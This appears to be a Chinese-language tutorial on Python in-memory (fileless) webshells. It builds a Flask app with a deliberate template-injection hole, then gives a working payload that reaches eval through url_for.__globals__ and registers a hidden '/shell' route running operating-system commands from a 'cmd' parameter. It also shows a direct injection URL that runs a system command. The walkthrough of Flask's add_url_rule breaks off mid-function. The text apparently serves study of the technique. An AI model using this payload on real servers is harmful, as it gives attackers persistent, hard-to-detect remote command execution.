python内存马学习
python内存马学习
环境搭建和复现
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def hello_world(): # put application's code here
person = 'knave'
if request.args.get('name'):
person = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % person
return render_template_string(template)
if __name__ == '__main__':
app.run()
执行payload
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd','whoami')).read())",{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
执行后访问我们的shell路由,然后就可以执行命令
比如cmd=dir
分析payload
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)
url_for.__globals__['__builtins__']['eval']
这个就是去获取我们的恶意模块eval
比如我们现在就可以执行命令了
http://127.0.0.1:5000/?name={
{url_for.__globals__['__builtins__']['eval']("__import__('os').system('calc')")}}
但是我们研究python内存马,就需要找无文件落地的方法
在python中,我们就要注册一个恶意的路由,并且可以执行恶意方法
这就涉及到我们payload一个关键的点了app.add_url_rule函数
在Flask中注册路由的时候是添加的@app.route
装饰器来实现的。
我们看看代码,它内部调用
def decorator(f: T_route) -> T_route:
endpoint = options.pop("endpoint", None)
self.add_url_rule(rule, endpoint, f, **options)
return f
add_url_rule函数,说明创建路由的时候,会使用add_url_rule来进行一个创建
def add_url_rule(
self,
rule: str,
endpoint: str